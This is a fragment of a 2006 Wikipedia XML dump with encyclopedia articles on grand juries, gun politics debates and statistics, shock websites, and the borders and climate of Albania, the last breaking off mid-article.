      </contributor>
      <minor />
      <comment>interwiki he</comment>
      <text xml:space="preserve">{{CrimPro}}
A '''grand jury''' is a type of [[common law]] [[jury]] responsible for investigating alleged [[crime]]s, examining [[evidence (law)|evidence]], and issuing [[indictment|indictments]] if they believe that there is enough evidence for a trial to proceed. A grand jury is distinguished from a [[petit jury]], which is used during trial; the names refer to their respective sizes (typically 25 and 12 members respectively).

Where they exist, grand juries are part of the system of [[checks and balances]], preventing a case from going to trial on a prosecutor's bare word: an impartial panel of ordinary citizens must first decide whether there exists [[reasonable cause]] or [[probable cause]] to believe that a crime has been committed. To this end [[witness]]es can be compelled to testify before them. Unlike the trial itself, the grand jury's proceedings are secret; the [[defendant]] and his or her [[counsel]] are generally not present for other witnesses' testimony. The grand jury's decision is either &quot;true bill&quot;  (i.e. there is a case to answer) or &quot;no true bill.&quot; In general, jurors are drawn from the same pool of citizens as a petit jury, and participate for a specific time period. 

[[Britain]] abandoned grand juries in the [[1930s]] and instead uses a [[Committal procedure|committal procedure]], as do the States of [[Australia]]. Today fewer than half of the states in the [[United States|U.S.]] employ them. Most jurisdictions have abolished grand juries, replacing them with the [[preliminary hearing]] at which a [[Judge]] hears evidence concerning the alleged offenses and makes a decision on whether the prosecution can proceed.  However, grand juries are still used in a number of U.S. jurisdictions.

==The United States==
Charges involving &quot;capital or infamous crimes&quot; under [[United States federal government|federal jurisdiction]] must be presented to a grand jury, under the [[Fifth Amendment to the United States Constitution]]. This has been interpreted to permit bypass of the grand jury for [[misdemeanor]] offenses, which can be charged by prosecutor's information. 

Unlike many other provisions of the [[United States Bill of Rights|Bill of Rights]], the [[Supreme Court of the United States|Supreme Court]] has ruled&lt;!--in which court case?--&gt; that this requirement does not pertain to the [[States of the United States|state]] courts, and states are therefore allowed not to use grand juries. &lt;!-- how many?--&gt;

==Criticism of the Grand Jury==
Some argue that the grand jury is [[justice|unjust]] as the defendant is not represented by [[lawyer|counsel]] and/or does not have the right to call witnesses. Intended to serve as a check on prosecutors, the opportunity it presents them to compel testimony can in fact prove useful in building up the case they will present at the final trial.

In practice, a grand jury rarely acts in a manner contrary to the wishes of the prosecutor.  Judge [[Sol Wachtler]], the former Chief Judge of [[New York State]], was quoted as saying, &quot;A grand jury would indict a ham sandwich.&quot;  As such, many jurisdictions in the United States have replaced the formality of a grand jury with a procedure in which the prosecutor can issue charges by filing an ''information'' (also known as an ''accusation'') which is followed by a preliminary hearing before a [[Judge]] at which both the [[defendant]] and his or her counsel are present.  New York State itself has changed procedures that define how grand juries are formed to no longer require jurors to have former jury experience.

In some rare instances, the grand jury does break with the prosecutor.  It can even exclude the prosecutor from its meetings and subpoena witnesses and issue indictments on its own.  This is called a &quot;runaway grand jury.&quot;  Runaway grand juries sometimes happen in government corruption or organized crime cases, if the grand jury comes to believe that the prosecutor himself has been improperly influenced.  They were common in the 19th century but have become rare since the 1930s.  [http://www.udayton.edu/~grandjur/faq/faq8.htm]

In all U.S. jurisdictions retaining the grand jury, the defendant has the right under the [[Fifth Amendment to the United States Constitution|Fifth Amendment]] not to give self-incriminating testimony. However, the prosecutor can call the defendant to testify and require the defendant to assert the right on a question-by-question basis, which is prohibited in jury trials unless the defendant has voluntarily testified on his own behalf. Other evidentiary rules applicable to trials (such as the [[hearsay]] rule) are generally not applicable to grand jury proceedings.

== See also ==
*[[CIA leak grand jury investigation]] - Current news event

==External links==

* [http://www.abanet.org/media/faqjury.html Grand Jury FAQ] from the [[American Bar Association]]
* [http://www.nvo.com/cgja The California Grand Jurors' Association]
* [http://www.udayton.edu/~grandjur/ &quot;Federal Grand Jury&quot;], a website from a professor at the [[University of Dayton]]
* [http://www.constitution.org/jury/gj/gj-us.htm An organization devoted to Grand Jury reform]
* [http://www.nacdl.org/public.nsf/freeform/grandjury?opendocument More on Grand Jury reform], from the [[National Association of Criminal Defense Lawyers]]
* [http://www.npr.org/templates/story/story.php?storyId=4975837]  [[National Public Radio]], &quot;How Federal Grand Juries Work&quot;
* Grand juror ''handbooks'' from the court system:
** [http://www.moed.uscourts.gov/Jury/FederalHandbookForGrandJurors.pdf Federal] (in [[pdf]] format)
** [http://www.courts.state.va.us/gjury/cover.htm Virginia]
** [http://www.courts.state.mn.us/districts/fourth/Jury/jogjbook.htm Hennepin County (Minnesota)]
** [http://www.state.il.us/court/CircuitCourts/grandjuror.asp Illinois]
* {{Citenewsauthor | surname=Gottlieb | given=Bruce | title=Who Is a Grand Jury?| date=5 August 1998| org=Slate (magazine)| url=http://www.slate.com/id/1001959/}}

[[Category:Court systems]]
[[he:חבר מושבעים גדול]]
[[no:Storjury]]</text>
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  </page>
  <page>
    <title>Gdanzk</title>
    <id>12685</id>
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      <id>17756094</id>
      <timestamp>2005-06-28T12:34:58Z</timestamp>
      <contributor>
        <username>Dbenbenn</username>
        <id>38020</id>
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      <minor />
      <comment>#REDIRECT [[Gdańsk]]</comment>
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  </page>
  <page>
    <title>Gun politics</title>
    <id>12686</id>
    <revision>
      <id>42089538</id>
      <timestamp>2006-03-03T19:31:40Z</timestamp>
      <contributor>
        <ip>70.199.25.142</ip>
      </contributor>
      <comment>/* Statistics in the Public Policy Arena */</comment>
      <text xml:space="preserve">The phrase '''Gun politics''' refers to the views of different people within a particular country as to what degree of freedom or restriction (more '''gun rights''' or more '''gun control''') should be enforced upon the [[private ownership]] and usage of [[firearms]], and to what extent ownership influences [[crime]] and the balance of power between the individual and the [[State]].

==Specific locales==
This article discusses these policies in a general sense. For more specific discussion of policy in specific locales, see:

*[[Gun politics in Australia]]
*[[Gun politics in Canada]]
*[[Gun politics in Finland]]
*[[Gun politics in Mexico]]
*[[Gun politics in Switzerland]]
*[[Gun politics in the United Kingdom]]
*[[Gun politics in the United States]]

== Summary of Positions ==

'''''Those who favor greater restrictions on firearm ownership and availability believe all, or some subset of:'''''
* There is no fundamental right to own firearms
* Gun control legislation will reduce [[violent crime]]
* Guns are more dangerous to the owners than to intended targets because most gun related deaths are a result of [[domestic violence]], accidents, and [[suicide]]s
* Guns are of little use as self defense for the typical owner because in incidents where a hostile encounter with an armed criminal occurs, the criminal is usually more experienced and skilled with his/her weapon, also criminals may act in groups
* Even against unarmed criminals, the presence of a gun serves more often to escalate the likelihood and/or severity of violence
* Citizens have no need to own guns to protect themselves against crime because government is tasked with that obligation
* Citizens need to protect themselves against crime, but owning firearms is not a good way to accomplish this
* Citizens of First World countries today have no need to protect themselves against their governments if they are vigilant and confront government wrongdoing before violence is necessary, ''or'' that even if such a need should arise, it would be hopeless to take up individual small arms against the modern military technology that a government could bring to bear.
* Guns, being devices implicitly designed to kill, raise the level of violence in any disagreement between people.
* Gun control, properly and judiciously applied, can lessen (though not eradicate) the possibility that criminals will obtain firearms. 

'''''Those who favor maintaining or extending the private ownership of firearms believe all, or some subset of:'''''
* Owning firearms is a fundamental right.
* Owning firearms is a Constitutional and Statutory right in some nations.
* We all have a fundamental human and natural right to protect ourselves and our families from predators, criminal, animal, or otherwise.
* That freedom from hunger is a fundamental human right and accordingly, in some parts of the world, a gun is, or can be reserved as, a survival tool to hunt or slaughter food.
* Government should not be empowered to interfere with an individual's right to own firearms as long as the individual is not harming or [[intimidating]] fellow citizens.
* Guns in the homes of the law-abiding populace have a chilling effect on the occurence of [[burglary]] and [[home-invasion]] crimes. 
* While some consider a firearm in a family home to present a danger to a family, the risk of owning a gun is negligible compared to other hazards that exist at home and in our neighbourhoods,e.g., [[swimming pools]], [[automobiles]], [[bicycles]], [[suffocation]] hazards, and ingestable [[poisons]].
* Citizens have a demonstrable need to own guns for personal protection because although government is tasked with an obligation to protect citizens collectively, government is not tasked to protect any &quot;particular&quot; citizen without a special relationship established with that individual prior to her or his victimization.
* As actually articulated in U.S. [[case law]], courts have held that the police have no responsibility to protect Americans. -Warren vs. D.C.,44A.2d1(D.C.App.1981)
* The concept of government and [[police]] having absolute and total responsibility to protect its citizens can lead to government and police [[bureaucracies]] which can become a fortress of undemocratic political power.  In addtion this task can divert legislative oversight and attention and can lead to a strain on [[public expenditure]] which might otherwise be invested in [[schools]], [[parks]], [[libraries]], social programs, [[transportation]] and other public infastructure. 
* An armed populace decreases the overall occurence of [[violent crime]]; widespread ownership and discreet carry of handguns by the law-abiding advances [[civilization]] by creating deterrence to assault, [[bullying]], [[mayhem]], robbery, rape, and murder. 
* Gun control laws have a disproportionate, chilling effect on the [[freedoms]] of the law-abiding as criminals are willing to break the law to acquire, possess, and use guns.
* Law-abiding citizens have an incumbent duty to provide for their own protection because governments cannot be held civily or criminally liable for failing to provide such protection.
* Carrying a firearm makes one more safe, not less safe.
* An armed populace is a deterrent to the excesses of government; the threat of violent [[revolution]] by the people is a check and balance against an abusive [[totalitarian]] government or coup de etat.
* Existing gun control laws and gun crime laws are sufficient if only government would enforce them.

''' ''These two lists are obviously not exhaustive. There may be other positions that are not represented here.'' '''
 
===Degrees of gun legislation===

There are many areas of debate into exactly what kinds of firearms should be allowed to be privately owned, if any, and how and where they may be used. 

In the [[United States]], full-automatic weapons are legal in most states, but have extremely restrictive requirements under federal law. They must have been manufactured and registered before May 19, 1986; a $200 transfer tax must be paid; approval must be met in writing prior to purchase from the local [[sheriff]] or chief of police; fingerprints and a photograph must be submitted to the [[BATFE|ATF]]; a criminal background check must be performed; and a waiting period of approximately 6 months applies. Written permission must be given by the [[BATFE|ATF]] at least 30 days in advance if one wishes to take his full-automatic firearm out of his state. Due to the static number of full-automatic firearms on the market (fixed at 1986 levels), their collective value continues to increase. Most full-automatic firearms for sale cost in excess of $8,000USD, which is for many seeking to make a legal purchase the most prohibitive factor. Several states have decided to prohibit the sale of full-automatic firearms altogether. In most US states however, one can buy semi-automatic firearms over the counter if the buyer meets basic legal requirements, and after completing the [[Federal Form 4473|proper paperwork]] and a criminal background check (and in some states, a waiting period).

Internationally, many countries have an outright ban on full-automatic weapons, and some countries ban nearly all kinds of firearms.

In [[Switzerland]], however, every male between the ages of 20 and 42 is considered a candidate for [[conscription]] into the military, and following a brief period of active duty will commonly be enrolled in the [[swiss army|national guard]] until age or debility ends his service obligation. During their national guard enrollment, these men are required to keep their government-issued [[selective fire]] combat rifles and [[semi-automatic]] handguns in their homes, together with a specified quantity of government-issued ammunition, sealed and inspected regularly to ensure that each reservist is always combat-ready. In addition to these official weapons, Swiss citizens commonly purchase surplus-to-inventory combat rifles, and shooting is a popular sport in all the Swiss cantons. Ammunition (also [[MIL-STD|MilSpec]] surplus) sold at rifle ranges is intended to be expended at the time of purchase, but target and sporting ammunition is widely available in gun and sporting goods stores. 

The case in Switzerland demonstrates that the widespread possession and use of military-grade small arms is wholly compatible with one of the lowest murder rates in the world. Gun control advocates point out, however, that the degree of training Swiss receive in gun care and use, and the fact that the ownership of government-issued guns in and of itself constitutes a kind of gun control.

Another issue is whether individuals have the right to carry a [[handgun]] concealed on their person, even if it is perfectly legal and easy to own a pistol in general. In the [[United States]] another area of dispute is whether any requirement that firearms be registered constitutes a violation of the [[Second Amendment]] by impairing the exercise of that explicitly protected right. There is the perception that firearms registration - by making it easier for government officers to target gun owners for harassment and confiscation - constitutes an easily exploited encroachment upon individual personal privacy and property rights.

==General discussion of arguments==
=== Balance of power ===
Advocates for the right to bear arms often point to previous [[totalitarianism|totalitarian]] regimes that passed gun control legislation, which was later followed by confiscation. [[Totalitarian]] governments such as [[Fascism|Fascist]] [[Italy]] and [[Germany]] during [[World War II]], as well as [[Communist state|Communist regimes]] such as the former [[U.S.S.R.]] and the [[People's Republic of China]] are some examples of this.

There is no direct causal relationship between gun control and totalitarianism. A number of countries have had gun control in place for many years, without becoming totalitarian regimes. The [[United Kingdom]], [[Canada]], [[Australia]], and [[Japan]], for example, are not considered to be totalitarian regimes.

On the other hand however, totalitarian nations often were democratic prior to becoming totalitarian. The [[Weimar Republic]], for instance, constituted one of the weakest governments in Europe in the twenties and early thirties; yet it was from the Weimar Republic that the Third Reich arose.

The [[Nazi]]s actually liberalized the gun laws of the [[Weimar Republic]] with the ''Reichswaffengesetz'' in 1938, but prohibited possession of weapons by [[Jews]] shortly thereafter. [http://www.law.uchicago.edu/news/harcourt_nazigun.html]

Firearms-rights advocates also point to the fact that [[Japan]] had a long history of weapons ownership that was strictly limited to only the elite and their [[Samurai]] bodyguards. Peasants, without any access to arms, were at the mercy of powerful warlords.

Registration of firearms in some countries has led to confiscations of formerly legal firearms and the outlawing of the ownership of firearms to various degrees.

Some oppose registration of guns or licensing of gun owners because if captured, the associated records would provide military invaders with the locations and identities of gun owners, simplifying elimination of law-abiding (i.e. patriotic) resistance fighters. Location and capture of such records is a standard doctrine taught to military intelligence officers; and was widely practiced by German and Soviet troops during [[World War II]].

===Self-defense===
{{main|Guns and crime}}

Both sides actively debate the relevance of self-defense in modern society. Some scholars, ''e.g.'' [[John Lott]], claim to have discovered a positive correlation between gun control legislation and crimes in which criminals confront citizens - that is, increases in the number or strictness of gun control laws are correlated with increases in the number or severity of violent crimes. Other scholars, ''e.g.'' [[Gary Kleck]], take a slightly different tack; while criticizing Lott's theories as (paradoxically) overemphasizing the threat to the average American from armed crime, and therefore the need for armed defense, Kleck's work speaks towards similar support for firearm rights by showing that the number of Americans who report incidents where their guns averted a threat vastly outnumber those who report being the victim of a firearm-related crime. The efficacy of gun control legislation at reducing the availability of guns has been challenged by, among others, the testimony of criminals that they do not obey gun control laws, and by the lack of evidence of any efficacy of such laws in reducing violent crime. In his paper, ''Understanding Why Crime Fell in the 1990s: Four Factors that Explain the Decline and Six that Do Not''[http://dss.ucsd.edu/~sscroggi/Econ1/LevittCrimeInThe90s18JEP163_2004.pdf], [[University of Chicago]] economist [[Steven Levitt]] argues that available data indicate that neither stricter gun control laws nor more liberal concealed carry laws have had any significant effect on the decline in crime in the [[1990s]] (In his 2005 book, [[Freakonomics]], Levitt argues that legalized abortion was the most important factor). While the debate remains hotly disputed, it is therefore not surprising that a comprehensive review of published studies of gun control, released in [[November]] [[2004]] by the [[Centers for Disease Control and Prevention]], was unable to determine any reliable statistically significant effect, pro or con, resulting from such laws, although the authors suggest that further study may provide more conclusive information.

Irrespective of the statistical arguments, 38 US states have passed [[concealed carry]] legislation of one form or another. In these states, law-abiding citizens (usually after giving evidence of completing a training course) may carry handguns on their person for self-protection. Indeed, only 4 states have explicit legislation restricting personal carry in this way, while 2 others ([[Vermont]], and [[Alaska]]) place no restrictions at all on lawful citizens carrying concealed weapons.

===Domestic violence===
The strongest evidence linking availability of guns to [[injury]] and [[mortality rate]]s comes in studies of [[domestic violence]], the most well known being the series of studies by [[Arthur Kellermann]], although other slightly different studies have similar results. In response to suggestions that homeowners were at risk from [[home invasion]]s and would be wise to acquire a firearm for purposes of protection, Kellermann tabulated domestic homicide figures in three cities over several years, and found that the risk of a homicide was in fact higher in homes where a gun was present; his study led to the conclusion that the risk of a [[crime of passion]] or other domestic dispute ending in homicide when a gun was available was large enough to overwhelm any protective effect the presence of a gun might have against burglaries, home invasions, etc. In confirmation of this conclusion is his little-remarked upon finding that almost all the risk was limited to homes where a handgun was kept both loaded and unlocked, and therefore available for immediate use; apparently, the amount of time and effort required even to just remove a loaded gun from a locked cabinet was sufficient to allow tempers to cool enough to prevent a shooting. 

Although Kellermann's papers themselves do not make any recommendations, they were immediately held up as support by advocates of gun control, and decried as [[bad science]] by proponents of gun rights. See [[Arthur Kellermann]] for the alleged flaws in the study. The findings are essentially what would be predicted ''a priori''; the presence of any object which adds some degree of risk, no matter how small, will always mathematically increase the total risk. For instance, the presence of a [[swimming pool]] in a home can only increase the risk of death because it adds the risk of death by [[drowning]]; ownership of an [[automobile]] can only increase the risk of death because it adds the risk of death in an [[Car accident|automobile crash]], etc. The only way this type of study could have found a reduction in risk of homicide from the presence of a gun in the home would have been if the rate of home invasions was much greater than the rate of domestic violence. Although domestic violence is actually not well studied, it is universally agreed that it is often more common than home invasion type crimes, at least in so-called ''good'' neighborhoods, although the choice of a ''bad'' neighborhood, even within any particularly nominal ''safe'' city, may be more indicative of the probability of home invasions occurring than domestive violence, thereby tilting the statistics to appear to favor either side's basic argument, depending on which neighborhoods are chosen for analysis. 

Kellermann also tabulated the change in risk of homicide associated with other, purely defensive, means of protection, ''e.g.'' [[alarm]] systems, [[deadbolt]]s, [[security door]]s, barred windows, etc., and in each case was able to demonstrate a very small decrease in risk of homicide, which would suggest that the effect of the presence of a firearm on the risk of death by home invasion would be of similar magnitude, much smaller than the additional risk of domestic violence related homicide which was seen.

More thoughtful critics of the work and its connection with calls for gun control point out that Kellermann's work does not address the overall question of the total risk or benefit of firearm ownership because it does not address any events occurring outside the house; and due to this limitation, assert that his result is really more of an indictment of domestic violence than of gun ownership. Even Kellermann himself includes in his paper several paragraphs referring to the need for further study of domestic violence and its causes and prevention. It is often argue that the vast majority of households which possess a gun are not at any risk for any form of domestic violence, making any increased risk from gun ownership related to this behavior totally irrelevant to most gunowners; and that restriction of the rights of the great majority for the protection of a few who are at risk for domestic violence who might harm themselves is in keeping with neither the general tenor of United States law, nor the Second Amendment in particular. (However, the risk of domestic violence related homicide found in Kellermann's study cuts across all sub-populations including both demographic variables such as race as well as others which might be considered more directly relevant, such as a history of violence, drug or alcohol abuse, or criminal record. Perhaps it is obvious to those in a relationship whether there is risk of domestic violence or not, but the data in the study were not able to make such a distinction. In this respect, the calls for further study of predictors related to domestic violence become even more important). Furthermore, it is argued that it is not the government's place to prevent adult citizens of sound mind from indulging in anything risky; and that people are freely permitted to assume much greater risks among their hobbies, sports, and interests, such as the aforementioned swimming pools and automobiles, skiing, etc. if they wish. However, Kellermann's paper begins by pointing out that people who would not otherwise own firearms for recreational or other purposes are being urged to acquire firearms specifically for protection of the home, and in this one narrow context, his results demonstrate that this is an erroneous strategy; whether prospective gun owners choose to follow this advice or not is their decision alone to make.

Perhaps the most useful contribution of the Kellermann studies is to quantify the degree of risk for domestic homicide associated with gun ownership, in the context of the degree of risk posed by some of the other variables he included. The greatest risks are associated with factors such as [[renting]] a dwelling rather than [[own]]ing, and/or living alone; these are not in themselves causes of homicide, obviously, but represent measurable results of deeper factors, ''e.g.'' lower [[socioeconomic]] status. In comparison, the risk associated with gun ownership was significantly lower. It was, however, statistically indistinguishable from the degree of risk posed by any member of the family having a criminal record, which most people would consider to be significant.

===Statistics in the Public Policy Arena===

The specter of the private ownership of guns and their relationship to [[domestic violence]] casualties is a very significant variable used for political leverage in the policy debate.  A frequent arguement portends that a gun is &quot;far more likely to kill or injure a family member or other person known to the gun owner than to be used in self-defense against an unknown home invader.&quot; This line of statistical reasoning is propogated on [[billboards]] and radio and television commercials in addition to its use on the floor of legislative bodies.  In many cases, the use the domestic shooting [[statistics]] are criticized by gun rights advocates as being propounded in oblique manner without proper context.  That is, while many shootings occuring in the course of a heated mutual argument of passion, others occur where a partner or family member of a &quot;romantic&quot; or familial relationship, who is a ongoing victim of domestic [[physical abuse]] or [[sexual abuse]] uses the force of a firearm in self-defense action against the perpetrator who also happens to be known to or related to the victim.  As a corollary, in such policy advertising campaigns, the comparison of &quot;domestic&quot; gun casualties is usually not accompanied by [[murder]] and [[assault]] prosecution numbers stemming from the shootings occuring in that context.  Of particular note is that in many of the latter cases, the victim firing in self-defense is frequently a woman or youth [[victim]] of a more physically powerful abuser.  In those situations gun rights advocates argue that the firearm arguably becomes an equalizer against the lethal and disabling force frequently exercised by the abusers.  

In a similar fashion, while both sides frequently make misleading arguments in the political arena, many gun control advocates also point to statistics in advertising campaigns purporting that &quot;approximately 9 or so childen are killed by firearms discharges every day across the US,&quot;[http://www.med.umich.edu/1libr/yourchild/guns.htm].  Gun rights advocates argue that this statistic is seldom accompanied by a differentiation of those children killed by unintentional discharges and stray bullets, and those &quot;children,&quot; under the age of 18, who are killed while acting as aggressors in [[street gang]] related mutual combat or while commiting gun crimes, many of which are seen as arising from the [[War on Drugs]].  There is further controversy about courts trying and sentencing these mostly &quot;young men&quot; as adults despite them not having reached the [[age of consent]].  A significant number of the aforementioned deaths occur through [[suicide]].  To be specific, in the case of US, a country with a high occurence of child gun deaths, in fact, 85% of those children killed are ages 15-19; 61% of are killed in homicide or legal intervention; 31% commit suicide with a gun; 6% are killed by unintentional discharges. 

There has been widespread agreement on both sides that the use of trigger locks and the importance of [[gun safety]] education has a mitigating effect on the occurence of accidental discharges involving children.  There is somewhat less agreement about [[vicarious liability]] case law assigning [[strict liability]] to the gun owner for those firearms casualties occuring when a careless gun owner loses proper custody and control of her or his firearm.

=== Numbers ===
Many advocates on all sides of the issue manipulate numbers, i.e., lump gun deaths together, or segregate them according to intent. Broad categories of deaths are often broken down (by size):

# suicide
# accidental death
# homicide
# legal intervention
# undetermined

Gun control advocates' claims impact only causes 2 and 3, since there is no agreement whether, after gun regulation, suicides decrease or not. [http://www.aic.gov.au/publications/tandi/tandi116.html]

Many results indicated by the media and many official reports indicate only raw numbers or percentages, and then are often erroneously compared to previous reports. This does not take into account the growth of the population, and other factors. Typically a good number indicates incidences per thousand or per hundred thousand.

Other numbers are often not factored into discussions. For example, in Australia, knives are 2-3 times as likely to be used in robberies as a firearm.

The numbers of legal versus illegal firearms, in areas with laws legislating proper gun ownership, are also glossed over. For example, 90% of all firearm related homicides in Australia are committed with unregistered firearms (since the 1995 &amp; 1996 regulations).

==See also==
*[[Ballistic fingerprinting]]

==External links==
*[http://www.packing.org/ Concealed Carry Information and Firearm Laws For Individual States. Requirements To Obtain Concealed Carry Permit from Issuing States.]

*[http://www.cdc.gov/mmwr/preview/mmwrhtml/rr5214a2.htm First Reports Evaluating the Effectiveness of Strategies for Preventing Violence: Firearms Laws]

*[http://licgweb.doacs.state.fl.us/weapons/index.html State of Florida Information For Resident and Non-Resident Concealed Weapon / Firearm License.]

===Pro gun control===
*[http://www.bradycampaign.org/ Brady Campaign-Center to Prevent Gun Violence]
*[http://www.csgv.org/ Coalition to Stop Gun Violence]
*[http://www.gwu.edu/~ccps/pop_disarm.html Communitarian Network: The Case for Domestic Disarmament]
*[http://www.guninformation.org/ Gun Control and the Second Amendment]
*[http://www.lcav.org/ Legal Community Against Gun Violence]
*[http://www.potowmack.org/ Potowmack Institute]
*[http://www.secondamendmentcenter.org/ Second Amendment Center]
*[http://www.timlambert.org/guns/archive Tim Lambert Gun Control Archive]
*[http://www.vpc.org/ Violence Policy Center]

===Pro gun rights===
*[http://www.packing.org/ Packing.org - concealed carry law information] 
*[http://www.a-human-right.com/ A Human Right]
*[http://www.fraserinstitute.ca/admin/books/files/FailedExperiment.pdf The Failed Experiment: Gun Control and Public Safety in Canada, Australia, England and Wales]
*[http://www.gunowners.org/ Gun Owners of America]
*[http://www.abhijeetsingh.com/arms/india Gun Ownership in India]
*[http://www.guncite.com/ GunCite: Gun Control and Second Amendment Issues]
*[http://www.gunssavelives.com/ Guns Save Lives]
*[http://www.jpfo.org/ Jews for the Preservation of Firearms Ownership]
*[http://www.keepandbeararms.com/ Keep and Bear Arms]
*[http://www.lp.org/issues/gun-rights.shtml Libertarian Party]
*[http://www.nra.org/ National Rifle Association of America]
*[http://www.pinkpistols.org/ Pink Pistols]
*[http://www.saf.org/ Second Amendment Foundation]
*[http://www.stonewallshootingsportsutah.org/ Stonewall Shooting Sports of Utah]

[[Category:Firearms]]
[[Category:Gun politics| ]]

[[ja:&amp;#37507;&amp;#35215;&amp;#21046;]]</text>
    </revision>
  </page>
  <page>
    <title>Shock site</title>
    <id>12688</id>
    <revision>
      <id>41892395</id>
      <timestamp>2006-03-02T12:13:57Z</timestamp>
      <contributor>
        <username>Silentium</username>
        <id>985387</id>
      </contributor>
      <text xml:space="preserve">A '''shock site''' is a [[website]] intended to be [[offensive]] or shocking to most viewers, usually containing frightening and/or incredibly [[taste (aesthetics)|distasteful]] and crude content. In most cases, it displays a particular picture most prominently; some shock sites also show [[animation]]s or galleries of [[image]]s, particularly ''shock images''. Shock sites are often of varying severity; for descriptions of specific shock sites, see [[list of shock sites]].

[[Hyperlink|Links]] to shock sites are often passed around via [[email]] or disguised in posts to discussion sites as a [[hoax]] in an attempt to trick readers into following the link to the website. Discussion site [[Slashdot]] has changed their software ([[Slash (weblog system)|Slash]]) to display the domain name of a linked URL in brackets following the link (example: &quot;[http://www.wikipedia.org/ Wikipedia] [wikipedia.org]&quot;), so that any link to [[goatse.cx]] or a similar shock site would be immediately visible as such. The change has been effective in reducing the number of links to shock sites even though  people began to set up mirror sites and use public [[Common Gateway Interface|CGI]] redirect scripts run by sites such as [[Yahoo!]] or Slashdot itself in an attempt to circumvent the measure.

==Anti-shock sites==

In recent times many [[Internet troll|trolls]], instead of linking to shock sites (which can lead to disciplinary consequences, such as banishment from the board in which the link was posted), prefer a tradition known as the ''anti-shock'' tradition, where trolls link to traditionally non-offensive material, disguised as shocking or pornographic material. The anti-shock site [http://www.oralse.cx oralse.cx] (which features images of a [[kitten]] and [[dachshund]]), a parody of [[Goatse.cx]], is among the most well-known examples of this. More recent cases of the anti-shock phenomenon involve links to images of family pets and to [http://www.mary-kateandashley.com/ mary-kateandashley.com], the web site of [[Mary-Kate and Ashley Olsen|the Olsen twins]].

==See also==
*[[List of shock sites]]
*[[Prank flash|Prank flash]]
*[[Internet troll]]
[[Category:Shock sites|*]]
[[Category:Internet culture]]
[[Category:Controversial entertainment media]]

[[de:Schockerseite]]
[[fr:Site Web choc]]
[[pl:Strona szokująca]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Albania</title>
    <id>12691</id>
    <revision>
      <id>41771765</id>
      <timestamp>2006-03-01T17:08:41Z</timestamp>
      <contributor>
        <username>Gene Nygaard</username>
        <id>146986</id>
      </contributor>
      <comment>/* Climate */ identify &quot;degrees&quot;</comment>
      <text xml:space="preserve">[[Albania]] has a total area of [[1 E10 m²|28,750 square kilometers]]. It shares a 287-kilometre border with [[Serbia and Montenegro]] to the north, a 151-kilometre border with the [[Republic of Macedonia]] to the north and east, and a 282-kilometre border with [[Greece]] to the south and southeast. Its coastline is 362 kilometres long. The lowlands of the west face the [[Adriatic Sea]] and the strategically important [[Strait of Otranto]], which puts less than 100 kilometers of water between Albania and the heel of the Italian &quot;boot&quot; (links [[Adriatic Sea]] to [[Ionian Sea]] and [[Mediterranean Sea]]).

Albania has coastline on the [[Adriatic Sea]] and the [[Ionian Sea]].

==Borders==
[[Image:Albania space.jpg|thumb|200px|Satellite image of Albania.]]
With the exception of the coastline, all Albanian borders are artificial. They were established in principle at the [[1912]]-[[1913]] conference of ambassadors in [[London]]. The country was occupied by [[Italy|Italian]], [[Serbia|Serbian]], Greek, and [[France|French]] forces during [[World War I]], but the 1913 boundaries were essentially reaffirmed by the victorious states in [[1921]]. The original principle was to define the borders in accordance with the best interests of the Albanian people and the nationalities in adjacent areas. The northern and eastern borders were intended, insofar as possible, to separate the Albanians from the Serbs and Montenegrins; the southeast border was to separate Albanians and Greeks; the valuable western Macedonia lake district was to be divided among the three states-- Albania, Greece, and [[Kingdom of Yugoslavia|Yugoslavia]] --whose populations shared the area. When there was no compromise involving other factors, borderlines were chosen to make the best possible separation of national groups, connecting the best marked physical features available. 

Allowance was made for local economic situations, for example, to prevent separation of a village from its animals' grazing areas or the markets for its produce. Political pressures also were a factor in the negotiations, but the outcome was subject to approval by powers having relatively abstract interests, most of which involved the balance of power rather than specific economic ambitions. 

Division of the lake district among three states required that each of them have a share of the lowlands in the vicinity. Such an artificial distribution, once made, necessarily affected the borderlines to the north and south. The border that runs generally north from the lakes, although it follows the ridges of the eastern highlands, stays sixteen to thirty-two kilometers west of the [[watershed]] divide. Because negotiators at the London conference declined to use the watershed divide as the northeast boundary of the new state of Albania, Albanian population of [[Kosovo]] was incorporated into [[Serbia]]. 

In Albania's far north and the northeast mountainous sections, the border connects high points and follows mountain ridges through the largely inaccessible [[North Albanian Alps]], andn further south ''Bjeshkët e Namunës''. For the most part, there is no natural boundary from the highlands to the Adriatic, although [[Shkoder Lake]] and a portion of the [[Buna River]] south of it were used to mark Albania's northwest border. From the lake district south and southwest to the Ionian Sea, the country's southeast border goes against the grain of the land, crossing a number of ridges instead of following them.

==Climate==

With its coastline facing the Adriatic and Ionian seas, its highlands backed upon the elevated Balkan landmass, and the entire country lying at a latitude subject to a variety of weather patterns during the winter and summer seasons, Albania has a high number of climatic regions for so small an area. The coastal lowlands have typically Mediterranean weather; the highlands have a Mediterranean continental climate. In both the lowlands and the interior, the weather varies markedly from north to south.

[[image:Coastline in Albania.jpg|thumb|200px|Coastline in southern Albania]]

The lowlands have mild winters, averaging about 7 °C. Summer temperatures average 24 °C, humidity is high, and the weather tends to be oppressively uncomfortable. In the southern lowlands, temperatures average about five degrees Celsius higher throughout the year. The difference is greater than five degrees Celsius during the summer and somewhat less during the winter. 

Inland temperatures are affected more by differences in elevation than by latitude or any other factor. Low winter temperatures in the mountains are caused by the continental air mass that dominates the weather in [[Eastern Europe]] and the [[Balkan]]s. Northerly and northeasterly winds blow much of the time. Average summer temperatures are lower than in the coastal areas and much lower at higher elevations, but daily fluctuations are greater. Daytime maximum temperatures in the interior basins and [[river valley]]s are very high, but the nights are almost always cool. 

Average [[precipitation (meteorology)|precipitation]] is heavy, a result of the convergence of the prevailing airflow from the [[Mediterranean Sea]] and the continental air mass. Because they usually meet at the point where the terrain rises, the heaviest rain falls in the central uplands. Vertical currents initiated when the Mediterranean air is uplifted also cause frequent thunderstorms. Many of these storms are accompanied by high local winds and torrential downpours. 

When the continental air mass is weak, Mediterranean winds drop their moisture farther inland. When there is a dominant continental air mass, cold air spills onto the lowland areas, which occurs most frequently in the winter. Because the season's lower temperatures damage olive trees and citrus fruits, groves and orchards are restricted to sheltered places with southern and western exposures, even in areas with high average winter temperatures. 

Lowland rainfall averages from 1,000 millimeters to more than 1,500 millimeters annually, with the higher levels in the north. Nearly 95% of the rain falls in the winter. 

